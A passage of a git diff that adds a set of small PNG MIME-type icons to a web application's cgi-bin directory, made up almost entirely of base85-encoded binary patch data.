ze^*%Ng3EuK*gc~CYBH*;g+r|V#&i~Vf8i)Oe?%gtbzb^H`PKgyP0Rdx;@2VO?FuZq V-5g6;7#J8BJYD@<);T3K0RXZhT_OMg literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ai.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ai.png new file mode 100644 index 0000000000000000000000000000000000000000..39939afcfb3b698e02bf3ad38e9dd7df05f3303f GIT binary patch literal 703 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s77>k44ofy`glX=O&z`$AH z5n0T@z%2~Ij105pNH8!ku$OrHy0YJ5<`mZDe&cBOmw|yP(9^{+#NzbQ$@bl`p(01? zpWpc{H?yb9^}vFa#||BHV%f;uRJyNm#-T%}!Y-V1IvAAmhhdS1V5fkN4zF07f}&t* zz{HgzzD6f^zyD`jt=s+CZF%`&yEl6+vp4c*&n<aBd3l`m?(2IdU7vX+t!VZ_-z8Hv zwxou%I9CYjIdxx1I+j~=$7*@=7BBsaDjC_!%$%9#6gcDxg&kUU&S=V+@|i5l+8A$o zIEhU%Ja#fq`f^J1zr7qrYr8)xrFfW`bjtTD)%`VobTs|ew>yh9*H60qT0TeKrhY>B zbbYh*tsJ6@lQu1LNM5jT!M+J?huY(Lj<4Tm|L^0)>4%TiE-c|@e;#%2z4{_?Lk?c2 z<Ox^1Z?J9DouZd<>`?mk<?k*Pzp4HA_R8AhO}ihw-|f7sKHuvVQ|{uVs)?sPHw$iz z+)-E^x660t{TfT#x{57d_Wv<E9sBUq_ox5P9)7Wi`_$nDC8E<!*$q35!j5IzpSjD; zKBuxsc6C|qy1OyEF0pcHPE$Ch@JuUNXF{^rt*2g(UcJ3^_ebpEpWA;q-;CKSJX<X! zROpC~pFy0<YFC$4M*p^M&6nM|zo@eI;Z5~RGyU_AHka?yEdL#sP_U!v@YEc`$jzNQ z*L}S@_l3gGN3A#RFE^P!?^|-mr?37O?dPmX+*X>!tgH0*&#`;EtF`a3MVNP%PQKA& zv`(x#Wv*n}#&exQX>(F;pKPl8R-NmU^xdT`Hc80LOs1b{_QeEApG`f?TV|M*>Dh4p z-hXJ_wyiO5^{!W$htK%7gS+>vCf|G|qaQ67A5^`u6ZdKSvHv4~$oKCqheI=tGcYhP Nc)I$ztaD0e0sw}bNfZD8 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/archive.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/archive.png new file mode 100644 index 0000000000000000000000000000000000000000..fd4bbccdf1643f4ff5022fbc59b82546e259317e GIT binary patch literal 386 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4i*LmhONKMUokK+u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1EYwii(`n!`PhrTUWXY3 z+8$oi-m&$8tP-QXik#E+rX7KAoCHExG=Hq$vWP<|OrT`(BVLz_TGzfDU*`Gim+IPu zocG^6J9$RM@XWEZhUU{brH?*3^0efY<ChbCLTWEJZ2IE=sHl0xNjd#DpAMV9SIQS* zKaz9g&V+cm9U@r)&z%?eP7a+Y^5f0xmCU9#S<SAB&z31X=+y4pvUjQJ{8^u7u`Zlt z>c^7&=;fsKHWkafW*R8w-hK4cF|yfz^4ZwfD`7<s0#>Rh2z)SAXFfM`>4`;gW*1u4 z-Ll+pPO3O3$m`bM6o*dMyL)xSmPoSg<x0;fJmdCj;uH<WRi67x@9us)O?q4Vt-8Z= s>@<3O&&Hp*bA0AHzQ0Asxo*h&Y=}OV*R|#l0|Nttr>mdKI;Vst0GUFlIRF3v literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/audio.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/audio.png new file mode 100644 index 0000000000000000000000000000000000000000..6056d234a9818d248987389d4a621e5c83ce0851 GIT binary patch literal 610 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$@u{i(`nz>7$p=d*4ow zVE@oif50#K@MXSagRt$2#XTaOYb;jYo}nt7d30;!WHZCRiHjFEuIorqyc8dmAEmRx z=S5<LzU|q?{~HYS&nL1TjM-cFeU@Q+#Id#$eDR+?9r|23|NGhBMGQMux9m1s5E8|A zd)wE)^BaqHUOC>Sdwiq6ZZ_xME)V0BNnh&tS6p3Hvo`Ew(8?*5VSjRqH#hFxs~-{b zr-F0AlbDAt-p$J%vC9RlowjjXnET#+O;@jqzIl_g@M>0Kbv1X|zr(BzLXoZaR_@DF z;VX|~>g}@1u9W=!JO1L!k_&m;FXosfMv5`NHYl1|-0-BQX3>iU+YKkjwHmLJVEh>` zSCq5<#@)X>#|sl~n{^#k;yIk~*xzHhDZj<M4w*m~PMP+bs~!j6llk~~!9j){o13#t zt}WEyT69svCD6q{qGg$Cq|knb=}yLs-&lM1{N%K$<J<L~JzQhPjT;f|na?JkO%veq zbr4`_JF76W=l{J!H<moxH;=_u*7)T`k7Hl^o8H-2J`ocunlb<Urlh;smQyd;xJ+8K zM*HO>MZUc=mNFi^UTeWq?!j<Z?!wMHF<sZwL*qhI?Iu>7*Y<kzg6Gt8-V;S{KIQNE zopVxFhVAYr*)MxMa<1B0%59GHt7eod`rPPc{_gAlk6OkVvzGq;FL(L=Gj`c6OKL*% TZR{8r7#KWV{an^LB{Ts5B}o|z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/crystal.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/crystal.png new file mode 100644 index 0000000000000000000000000000000000000000..65f17557ab3ad4abbad731cc38b70fdc0da94337 GIT binary patch literal 785 zcmeAS@N?(olHy`uVBq!ia0y~yVBlw9U=ZM7V_;x78K%m@z`(#*9OUlAu<o49O9lo8 z&H|6fVg?3oVGw3ym^DX&fq{X&#M9T6{T4H)u$0bCAMHg93=EPbt`Q~9`MJ5Nc_j?a zMX8A;sVNHOnI#zt?w-B@;f;La3=B+lo-U3d8s~c_d3%H;iX5-MU%vkOv%++#%`$Hf zMnqh+c7AhqZj)Sx<7zoKA=iM5n_MSl7(Cc?d|T;kjVO_e$%VQa8yr{asJuyZzIG;~ z&+1&y*^=kmB&3bFf9apM++TdIeBb^D=B-W(zunTkeJf_t{#Qp&hpQZ$H23XVT}Otm z=bL7gmKyw&b@dX_>?*vyt&>mPq9|v3<AI$07lcB7wtw2zJ9m3vY9g;9S8qxCvCiOh z-UA_ZqWSifrzND8TMBJuN<OLc`S~u*Kv5PZO$VmtiHt&r3xz(e|DnB_$@NF@_uj_E zzs<wsZFZf1@v^t@-z(#)-}@hyX0xm+Su$nE9l4;%k)NENE{?VOe0J$9ui(Q$-*V!P z>^$vndHLgvUspw2{PI&8_cQI^&y*vrJvaSWtb5V@fR+RC@18`x=6g2P^2Mv(!WVy> z-HxjVE_Ddxx?xgLwzl6wf2T<Wt0Ifs^ka>&rVKp&X*+W3970u8yJm3euZ+I5Ok3{P zRfF@J{RNy1u0Pj!R&4)CBS_(>{D-+eVvDyuI;tCc=Fri_7uj8kn@hg)iYE4ZYaa;y zzn<w%&porbmok5NYk5X$KFdh0Sn7BCYqiZw9iMx9woQ80mZ}k?@W#pbYf1d-pL(C~ zMXU*3EOb!m{F*ua-xK96y#ww~SXOwpYS#8Vr{Lv$rdzk&`ugtQQ9Xk%MRP+_UtiE+ zw|(q?QuoZHEou>#>891;CW$w{nXG0y@$OiGy1*O{pAV|?in+^As9aL{Jt<@<lT6wC zL<6%!&qJoY;O~eO*v>V%``rD4<>v~j=03BzUvtl{uGenS=F^oDD?Pkq^+N92p5-rl t_PeC{%6`i{mc!O>XZ1Z*`@eAhEUTLa4^$lPF)%PNc)I$ztaD0e0sxD)Ur7J} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/css.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/css.png new file mode 100644 index 0000000000000000000000000000000000000000..106f5aa3611a4807ec8c21701c631730275089a4 GIT binary patch literal 402 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4i*LmhONKMUokK+u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1EY$ki(`n!`P_@P-cF1X zZ4Zx2Nk<F+;Xn0Ld99!xFR!V|wyObw&K#y0e4-YtjY~wG#Du17bM@Tv#qdj_Ym}Vr z@!~IeAC&u!ZjRgYzJNQ^#Zj`BJA*+{WyyljvRQijH%D}rbWY$|9(nZ0ktK)J*YB{| zd{1$bf19`LY^&0Jn!$&bx=qb+X_VWrapTJ1$KBiSX-j@8ZD{W9Zf^B#E%&mibS%%E zq<HlB{|9|Ks(vSm{3l(#Yp-xv_qfQ;hZD4?&5(V??5cM&u`e}9WXAp1yC*C<z|C#4 zq2uETyY32yCT6*g%L@*&U3Z!Jp-D>oiKUWXkBQ}>lOGDCx9m!pY{SX*<i?{Zn#<T* zMK<|v7uG(j;<_#J;U3d-FCwj{#Vh8&kvukG;etOe*q1GeX_N8TaE*b1fx*+&&t;uc GLK6T5U8Af3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/csv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/csv.png new file mode 100644 index 0000000000000000000000000000000000000000..813f712f726c935f9adf8d2f2dd0d7683791ef11 GIT binary patch literal 342 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4i*LmhONKMUokK+u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1H%hX7sn6@N!EjgdBKhn zYzJ;0pVw&OxTC4BNn@es<lq85?|=fOmP>(`9J@HoB~<&G@BjO4czMxW>(5LK8$N3b zw{$=M8>I{e=YMY5y3vIrJlpo!1ZTdVv+aM*o%p-v-mQqHXIW2X)LTBA(f(%h=@Y?n zpHs7ieTyykO<nKj7q<GUyTktn+nBqvT{I8hGugu;n~}G+ZSuk?FWD|I>M;f`6LMhx zktgA$X&B3Fb-<dzP|$(>$3mXVAv5kVTOE*QVPq(2n7=G@7SlZ@tB!9{3=N)}RMKR9 r85lOt6Vbh;oi4_}FeUcgKW64FQ_siwlnFC1Ffe$!`njxgN@xNAH*$g; literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/doc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/doc.png new file mode 100644 index 0000000000000000000000000000000000000000..ae8ecbf47672a874c0958d0d113a56162c2bd364 GIT binary patch literal 651 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfl1cW#WBR<bnoQd*;4`q zj@EzwSbK8O!Lw}U9C}BV2yP5c-Xb8lWwYSHAnoADj<pHeN*$BFnEi}zYMtaZvEf0p z&g|Zsu_w~@AKz;%7HJ;X{NzAm^qD!;Z8MWYL>ZFLWF|-z{E?r1z&uoxA!O>p6RkR@ zccn%i6KIk<rgOR^GxMdX0dqv?U+08<I;VGR-n{s4UHy@`^~>k_xks;^)+Vs!X3ncm zpFVjUxl_IQ+u{>W<|54>XI7Q^EplS%RB+^2D&+j+=wY_4QN4>a1O&sv!tUwl>Fs-T z?lk{=w#o}eCl==XJ@e(?=I^)iw*Qypobi2QhhpKh<@xrPPb)otC3?-A%}1s0RpIel z(_@oXF3I%Te%sZBLos0eb;b=sqO6-@Jg;7uvF^f4ZuQmkbow(Gmxb*4z9iFYl1fi+ zZ*N%A)*ID5%#*ZNXUCp$x{>j;=5O4Ff`1Zb8s{wce6M)#IVmMxL9F_<PVv&6(l>AE zt&}?a%k7BN(`#2VRkW@}%_&x1II-ag7uVm$gyN^qo=R;Mp67M6=<Oqw;Hx5?U50E7 z&t<ONYUUGptsr)2=E|1a*ZmhBXkp9Kxl(vd;c&F!u|NA}3hwC)*|x2Cp1mD6SF_HC zCkOAWSg?1laM#~u&HI@vG+TD}->c=RG_$)sV~!}JsH13zh+wnnZ{<I{##_=FycJtQ z4-}YmeE-)a%jU({X~@T5=~diQDBkhRVUF}+i`&Xp9S5H2=WVTA+&6F4IR*v>22WQ% Jmvv4FO#rlOCP4rI literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/document.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/document.png new file mode 100644 index 0000000000000000000000000000000000000000..8b8b1ca0000bc8fa8d0379926736029f8fabe364 GIT binary patch literal 294 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4i*LmhONKMUokK+u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1H%qa7sn8d^Q9A``3@-v zxGrCJSnXY7TkWhD?b26%bZzz5xboT|{@S!T58Evh^(2`tPGdP~U$%wOGKO>NtZPY5 z4>!n*gkRdi>UCaPKPGbLgB#i|f}Y({v;2EyH1l*qGzyYZMYb$|=GOMxqHD9u-h@A` z4`1e;X^yu%-`ePR(&A)s?29Q~n^P1IE_!GpDlF2&zvddt<4g%ru~`!j=&RMWp0{!J w_uh2db&>aNz1vpm7dZ`8yGyNEjxNwQS{nUfUF9}^1_lNOPgg&ebxsLQ0GOn5J^%m! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/dotnet.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/dotnet.png new file mode 100644 index 0000000000000000000000000000000000000000..a0a433dfbb66cc427904bafad4069a96ce2132ef GIT binary patch literal 702 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfhoY##WBR<bnoPR58*<I z<I}&qZ?)i*(%rsrvALT|Mvv2y6H~l84LTOw>q))X6VupTCF&NqUg^f6iD6uOH^gxq zR5;|5B$(VdWszX<f~V(vpWl5~R=#`p+kJOq-}>iHVwZn+^!?AeckgySzsPuDrN(s6 zg@FgZ$!CdbecGwym~1t7nTqGBG$Y9=&X(=RA6JIxXo}sqQlK@J>GY<`Nhei2Cb{T{ zT~=XnJn;JKGu53R*g_YGeX!wo6xgzx>#)HB4X%$BF~S8h>|Yh_=D**rqAnq^<=!;$ zeg$b;?uq=_LV2mIA@_ZC=H(r~@cQH=|4UVixMUtr@8@g3CE@brK#XY0CeBNjM8bCO z-WZdAq-L*V`kloR71G!4sYvyTvAk>8dsK8o@ZW`Ik$oXd_S+o(?c-chY(DK(nNr?L zw<A&A$=Cm6yx>h#`5@ZqvPj{@-->tX=YOc~x_h_E)u+$lUl8-E(@cjpF}s{K(|K>) z@b?d&@Z?09ch&vE{_C5Ty=+>Ler9LYzW==U-&9n13tdXkmtjgYYA|@^cqP=aVx9Xm z8K&uJ7fhcyoPMFVc4B2??T?w8KmRlFyUX3>*v`$Fyi_R6AeZI+ZLTxgxxcna>Nizi z_;9L=eWCO%n?F~N^zBv*KR%bi?#8SM1|bT&_Daq9&-tV^Ex}83=Cy}UTllUs>s^qE z)e5M8+}PdRZ!c@l`RPI2hPwS>3Lm*AJdaX5A7x;CnKLdyv1^fAr-Hf1|3yCOk=KMy zWWRNk+*El`{$yS1uZXV+wuwupUEH?aBOy%nb;NU-SFdK*GxqJDv2yb!!Ab@O1_n=8 KKbLh*2~7Y}HahPB literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/encrypt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/encrypt.png new file mode 100644 index 0000000000000000000000000000000000000000..2ebc4f6f9663e32cad77d67ef93ab8843dfea3c0 GIT binary patch literal 749 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfvMip#WBR<bZ(Giwy>i_ z?d&C<!m}l|nwog|&dzXjJQ8io(PZ24$Z>CFa6pTL-`kDs#c$Ssn4lzA^^LuQb!F5A zH{sdSOf;s5OjcXwSyq--yE*&TR;v$&#`kOP&;EX|C-Jt~p5)BTOcza4^`&zX=cF`z zoV+n9@>-JK^xsd{n(tv~b$ZA(d-~*)Pf~Qmn$JIH{{G@?)r#w{Z#+`Cu=nTBpIhr0 zZrB_;-2bw~DtVS#)>bL2xqbU&8yy%rT@J0(7VDNi6B`#1@#59q{Dvb>Hh=v1u}6UE zX;J0oyLroZ@V&b5I%wq=XXeSVZ9$uw_Z>($_{2v=$Z=^9<Lq}Sn{Tdi&oZ5V{{EV< z)kj0Lo?iLKpWu`IEVpWJtFrTR6YE&#ZOQeO8~#3<xHo9#v2$@ZF4la%r1fW8gRbt4 zY0^#}dm?tfnlVcv@4>g3p+5FM6L#=$e0uPYS7OVN5ABxsnWi|_9sV_ejniXw@AJ*F z&sr~U`uOSXLYCUedRxlk6$PYP6MHrkaBv)-8Ft{GT*_<dGw;eZvgIG1)XCZWo>9S7 zqjqxVvtQM(Y}$St&0euLF6DowPt1JR&#$c*r8<`RP1w+)>!aULkaA;*)ck!6@dZ=f zX`I-1WcghKwFISk^IX;oC%xTwIE&%IALiNbvO?Bw{aD$nbMNDkrdOI@b}z}A9Ql%a z*3;bZbwPgT6`A*5Trow!etwgEQ5S>SGC8}WQxcrB*^giLWQlgxV?Jfelwh^u)Frt! z!U|kGmrpoMsN}uivOTc<#TLQ29T)SSp8Cd=!MSjAzo6aoc0rz<{x2STYj_#&?kKw* zazj1v<*%i^_6!du=jff^8D}By{)h8*!ZZG2`)O0&MKKrtVJq6S>1=!cL01L_1_n=8 KKbLh*2~7a<IbV|i literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/flash.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/flash.png new file mode 100644 index 0000000000000000000000000000000000000000..5769120b1b6d38019b505c9167498ea199212cc1 GIT binary patch literal 582 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$@f?i(`nz>E6kwy`=+1 zj%}@X73Yc-HD9-=iQi-*TkeJ(Q=-JTJ~-5>5O`a`v4-WMt7dD;M0+=lpp1njmlv&F zpywj|Im@WudcF0@>(%ShW^@Y5{xB<k|K0j|&GgHR3z}8-=`Eaa;Q(`$+Lt4re=;bZ z-jp@x^RCysGSmzEO053g<p0Rbc4EzID~aTJBCd{Gqg)pTOqft(*YBhD*m2e~Kc)+; zmrW9Ho1MwOpZM-=bMEqh)mH;_#8eL$@B~cEF{@_IWSwx+&Z6OGnOvS0=eHuRRjU?- zXx)|cOuNKYaPC~<xjk(0(QSst+}nN~lwKO6ciOLL=N(&ybBVcc8`SR~_E^*0y=u<C z&JP?;a|7h2dM&kW_;1^2`JJumjp!Tw_6Pr0eM%B``kXyW%`unp+HwB}ouWIWIaeqr zZa6!|eEnk!Bl)HY?-<PHe?JqLI<JGfnB~-i2nL7P6Ai5^W-~01m|HVTTK50bBhweO zE#6T7r=|E0`?;r6O(v~i7MjV-P^<JUwA;mh>O_w1V)q)~zF}MS>ug;mgYF-v@b<&J z)tQ1`IZ}Ui2~@mRTM{bgAS=~;$-bxi-i7?<FLo5(m)jC}_w)m^6Lx|Ei<^(nI2!Al px1Rrk?*#WX#lc&C-Tlv4wrt;@Yj5?ZFfcGMc)I$ztaD0e0swM^0e=7h literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/glasses.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/glasses.png new file mode 100644 index 0000000000000000000000000000000000000000..36224141277d71581413f98718801a0b3f045eb6 GIT binary patch literal 547 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZON^xm(KXb}@ z$H2gN-P6S}q+*V5pl`NRph#`Lolzg(O9!tzN8}$IYV{B*xY}^~O72unj?FVecbPE$ z_t;!4?&W=VM{)2(uiy)f78fQoX-X9=HZUlA)l>fN?IY2XkumR{KP=#PKJvD#yTj$n zhYy#xz5V=o``^0x9Rh)0SXEp?L{iOWo6ZiOKK=do@9~Td%P%MPyq$KWSBS-N_uYNF ze;1a0TNYMbUNVLIuzkk~iN|xgHH5;}U-!LiV{_(Pm2Fj{isvL1#YM}P-(UCo-1B0~ zsb0RzFI)7zd$0bq$a3~sqhl<R3<k$ca^HXaczyfB@|{5|E9S9J&=Kptm@&ui_1?Ji zrFU!W*1xt=ax47u^YZk`kCU(En6dV*TE))3-rwKPH21s#&*@F`=FjhZ@$B%~w{P8* zCPl9e+kTssfnmqKeW#ul#sB_m(WgGS^ZoCA?@w<kDoj*V;y!#~laAuK&wCCgD4gD; z;<;*-(Xp(pQ4;@rC$TU{2=cZcPTH7p+f1<ccyjFZ)+HrYwo<(v91I;Doc3X>Lq%K} z1Xvsw1_-QP8l=g=^wHF1ipBGej9JTcPP?Q?v^}=yTI4Y)WNn!7Odh3w<%!R4^S%Ch zt8k9n;*BwSf`Jl_E^|6=a0>`Nui1RF;GC(i@KTAt%;k4|R|km%nK3XhFnGH9xvX<a GXaWG{@c6a> literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/html.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/html.png new file mode 100644 index 0000000000000000000000000000000000000000..6ed2490ed1432d5d667a76235360824a1088e928 GIT binary patch literal 734 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfvLdL#WBR<bnoQ5{y~W{ z$Jg#x-u{pMw6^}PkDIRETEwt=tC92~?NZ^>&!o+QCk9?P<iWHowS7Zqn3CxvpG_S< znNE5aZ)Fos+`}n+bf4{c&A#?iS8v)`i=Y2ld+u|!He-O3;(0kI$%TL9->ANM_Nbz1 z)7P(Gk34(!EX;2H@%swT16E(v+Sj75vHW0mcJ_%BBbk#aLLVz+w6(R@sL1d+FTPkX z$?3y7X7%sk#(vCJXLwg!?moF&aPj3T9i811JyZlbT_POKX0!h73|swIb751|+z%}- z+B~!Ftw{LnpJ20t<8QUL)%+8Mr9N#dk9w|Ix9;CWp=jZk6ILwxmv{Bgm2mDmn&NS_ z(Jh(+4R;>8?@#7CcGIyWdY0k;o2?lpr|zkUaEWqG*)DrGVbbIcZub)}Y;N%`)6dE| zUwE;adDT<9Ewh*I@W14_G$_Y5Y2%G;4NrEb{958xf1_c#Ais*g{eqj8yoC?AwEiwv zD4Ww(w~AfXM|pO=)!a1KnuF!F4xM82+2-b_E6Nl;Y&y%g@^;T+VJjI)yY9f{LYEW` zi+0LrFU(oKKwMYynaGPzHism;g^$l*;FA^$s65-}tYv*}=B|RvRg!a;Xool~{Cr^j z!G=ezJZmrePUx{e@G+5}WpRALhiSY_&iYky+ZXwTv!)$u=<Ve-`%&)b`d0Sgodt_| znKvh|*j{s_ax=f_VYe@SR~EjV$MUJ&=!Zx7iUkbn8fP50x(Vc@&bnZ3$8>bFXUz6h z9`}?k9TGe9Bd*yeQ_z(uPw1rS?U`)b5=w+5mka)zAa4EUn3(zx)tl~IQx>vY>k8Y? ssF|I%eY(2F(n<d#o->tv^{!`-v{@byDtu--0|Nttr>mdKI;Vst0PspeQ~&?~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/image.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/image.png new file mode 100644 index 0000000000000000000000000000000000000000..4a158fef7e0da8fd19525f574f2c4966443866cf GIT binary patch literal 606 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$@W<i(`nz>7|oxvqKz3 z+U6U7zqj|h8u#uAy@|?!lNu5PkA%4WZ)k1p4GoI$_|?#Bf9Sr#vdtGxIqCTPb9C6i z(IV=2R{ZCU9J8A{t&5K-rJc-c;*eZ6d*<^w-{*e!;AnikMk3+o<6GIGGwn4^HoxnN zW;UH9v8lyef8II0qYP3h4^J-cyr^^9Mdere(Y~hgSi72=6?}6T{njkYoOSZkD@NIG z87HkKCtE-96c(TIck!HjY0<Vru}N+fKXZiEE7@|kGAAqbI3#YHvF7cBX>}L2=*}rW zl6mTi%iQ<9iK~`MtzwpA&`9V>IIOqyNyFjGYS+p&<{WM{%bay-o2BwjMS-egUzlAu z{5J0MJ|5|}dzzDM9OFx&E5gzbADy2$@8UzA35H&)ZG99Dt~zej@6lPd+GnSUpNJ$! zQKS<`y3nbMzIC~|!6(fmrOcK*vbZOoRK417uaRrclOn!Dt`0@bAOG0dUk_U`tzP-w z<Px`?rh6SMS3eH@opkZ~!C&{3;zZY<lHGm!&XHV^jGVmBFMo(uEm@)Up>jd9fWU)~ zZ-U+{%(8s4WUu?SpHpugc73*ZiT=#zcE=csT;povjy?~~$^F%3!#87w>Lr)mQ>&Bt z9iHfG&3W(LKUcd$nbX!mb6WZPaH--}e&hefa|&5HAL=&5l+XFkz?Oe&@_NxD`xzJ* O7(8A5T-G@yGywqZWDULm literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/jnlp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/jnlp.png new file mode 100644 index 0000000000000000000000000000000000000000..2b36ee032e9e5343cf1e9d7ae564431169e2d429 GIT binary patch literal 1150 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8Fct^7J29*~C-ahlfq^C6 z(btiIVPik{pF~y$1_p&>k04(LhAK4%hK3dfhF=T}3=J<B7)lKo7+xhXFj&oCU=S~u zvn$Ysfq|JJz$e5tHOwk6$}%)GG%Lm_E5@Zb!Lc~WB_$;#H8nLYEiErEuduMNy1Kf) zzP_<MwXG_-sWPj-wXmtFsjaQ8v$M0StE;cCufM;4!h{KvCQX_=dGd@IGv?2mHE-U$ z`Sa&5Sg>H>!i7tgELpK)#i~`SR<B;YZr!@|>(_7CuwnD&&0Dr?*}8S>wr$(CZ{NOa z*RI{WckkJ=XaD~F2M!!Kc<|uiLkA8WI&}E(;iE^79y@mI`0?W>PMkP%`qbI8XV0HM zfAPZk3l}b2x^(IC<;z#EUcGkh+V$(#Z{ECl>(;G1ckbN1d-vYGd-w0(fAHYJqeqV( zKYsk=$&+W#o;`p5{KbnGFJHcV{rdHrH*em)ef#d+yZ7(kfB5j><HwJmK7IQ9`SaJW zU%!3(_Wk?!A3uKl{Q2|OuV24^|Nism&)>g)|NZ;-|Nno6Q80``V7^$lJp%)SM2Txe zNpOBzNqJ&XDnmeGW?qS&pKFLhnX#U+*~;gSR2di;&Um^whDd~qp3RJB3>0bjn7np^ z$Kik;j;krB<=$Rwax}WEa`sO3`Jeyd7k>QozdFuFfn|}yzpp#pl$a82;;sKwzO~z= z8_mcmcv5b4soMdg-#2wTzg(6(SiL6mMRD%7q>}kDj=ul)_EsDe&g-yW$tzyDr}J0r zzGmUxr9}aj%XgP;pEdpRv-Twi792=FYV69lRKD$?kdAloJ<C3Mt>EChm5gsf_vyaP z+?3dPSD7&*CU)P=b2sl5Pq$oPnmO$^cVAeTtffoJuRBlt(mMY4%Nb{+O03@xib_vc KKbLh*2~7Y?%WmNS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/jscript.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/jscript.png new file mode 100644 index 0000000000000000000000000000000000000000..63fe6ceff5bfcedb9670279d4bb8d25807f6ecee GIT binary patch literal 859 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$6QMi(`m{r0+rRjF?b{ zhKK*>Rll<_?)MQ2%Iev&NQo^vI%lqHfKKQ_?(Je5kA;ewvxal6bGf7O!YSajAG1=~ z-6Vl6VH=ipX{07~E-QOuGP%;;_`A)!LZ;0xzE_^J{I(`WL!Q~rW`@5=yH(N(<r0yN z*^BrtFu!VGjdEcA!So}{NKmr)&xL&}A4&V4E8O1LRpc!CG)j5*0+TOJr_WZ+@2=<f zV|uP4Jkjv;%^An%72Ou9kh{bj?_?vObBuML0E?Z?wh1Zqda)M&y`M54Y`JQsT{wfI z>eS-J3uT?sS>_6wlqD|DzxnyuE8Q;kOFC!SiYIZ3&iZ*e^>qL3&^YU;2b*8VGQEwk zoRg}h_~GLR+YW~FWj}w;7u$dLRR~LR`~BNmJudHVI=MY+HQ<q*Sd<bZ_k4ZXjh9hu 